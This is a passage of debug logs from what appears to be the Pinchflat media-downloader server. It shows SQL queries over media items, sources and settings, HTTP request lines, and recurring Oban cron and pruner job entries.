shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:06:56.406 [debug] QUERY OK source="media_items" db=11.0ms queue=0.1ms idle=39.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:06:56.414 [info] Sent 200 in 93ms 22:07:00.793 [info] {"source":"oban","duration":8956,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:11.441 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:41.443 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.796 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:11.445 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:41.454 [info] {"source":"oban","duration":7782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.799 [info] {"source":"oban","duration":1835,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:11.456 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:41.458 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.802 [info] {"source":"oban","duration":1754,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:11.460 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:41.463 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.803 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:11.465 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:41.467 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.805 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:11.469 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:41.471 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.809 [info] {"source":"oban","duration":2609,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:11.473 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:41.477 [info] {"source":"oban","duration":3569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.810 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:11.484 [info] {"source":"oban","duration":3740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:41.486 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.811 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:11.489 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:41.490 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.812 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:11.498 [info] {"source":"oban","duration":7327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:41.501 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.813 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:11.503 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:41.505 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.815 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:11.507 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:41.508 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.816 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:11.511 [info] {"source":"oban","duration":2262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:41.513 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.820 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:11.517 [info] {"source":"oban","duration":2879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:31.953 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 22:20:41.520 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.821 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:11.522 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:41.537 [info] {"source":"oban","duration":13253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.822 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:11.538 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:41.540 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.823 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:11.542 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:41.545 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.825 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:11.547 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:41.549 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.830 [info] {"source":"oban","duration":4279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:11.553 [info] {"source":"oban","duration":3089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:41.555 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.838 [info] {"source":"oban","duration":7308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:11.557 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:41.559 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.840 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:11.561 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:41.563 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.841 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:11.565 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:41.567 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.843 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:11.570 [info] {"source":"oban","duration":1960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:41.572 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.850 [info] {"source":"oban","duration":4027,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:11.575 [info] {"source":"oban","duration":2397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:41.577 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.856 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:11.579 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:41.581 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.858 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:11.583 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:41.586 [info] {"source":"oban","duration":2418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.862 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:11.588 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:41.590 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.870 [info] {"source":"oban","duration":6776,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:11.593 [info] {"source":"oban","duration":1984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:41.596 [info] {"source":"oban","duration":1906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.872 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:11.598 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:41.600 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.873 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:11.602 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:41.604 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:48.609 [info] GET / 22:36:48.610 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:36:48.614 [debug] QUERY OK source="settings" db=0.4ms idle=1407.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:48.647 [debug] QUERY OK source="media_profiles" db=29.7ms idle=1410.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:36:48.649 [debug] QUERY OK source="sources" db=0.5ms idle=1442.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:36:48.651 [debug] QUERY OK source="media_items" db=1.5ms idle=1443.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:36:48.653 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=721.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:36:48.657 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=41.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:48.658 [debug] QUERY OK source="settings" db=0.6ms idle=10.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:48.664 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=14.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:48.693 [debug] QUERY OK source="tasks" db=0.4ms idle=41.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:36:48.707 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=53.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:36:48.709 [debug] QUERY OK source="media_items" db=1.2ms queue=0.3ms idle=51.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:36:48.713 [debug] QUERY OK source="sources" db=0.4ms idle=55.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:36:48.736 [debug] QUERY OK source="media_items" db=9.1ms queue=0.1ms idle=63.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:36:48.739 [debug] QUERY OK source="media_items" db=1.2ms idle=44.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:36:48.745 [info] Sent 200 in 135ms 22:37:00.875 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:11.608 [info] {"source":"oban","duration":3020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:41.613 [info] {"source":"oban","duration":3914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.876 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:11.615 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:41.617 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.878 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:11.623 [info] {"source":"oban","duration":5116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:41.626 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.879 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:11.628 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:41.630 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.883 [info] {"source":"oban","duration":2247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:11.632 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:41.634 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.884 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:11.636 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:41.638 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.888 [info] {"source":"oban","duration":2850,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:11.641 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:41.643 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.889 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:11.648 [info] {"source":"oban","duration":3971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:41.650 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.890 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:11.652 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:41.655 [info] {"source":"oban","duration":2224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.891 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:11.657 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:41.659 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.892 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:11.661 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:41.663 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.893 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:11.666 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:41.668 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.894 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:11.670 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:41.672 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.895 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:11.674 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:41.676 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.896 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:11.681 [info] {"source":"oban","duration":4119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:41.683 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.899 [info] {"source":"oban","duration":1853,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:11.685 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:41.688 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.901 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:11.689 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:41.691 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.902 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:11.693 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:41.695 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.903 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:11.697 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:41.699 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.905 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:11.701 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:41.703 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.906 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:11.706 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:41.707 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.907 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:11.709 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:41.711 [info] 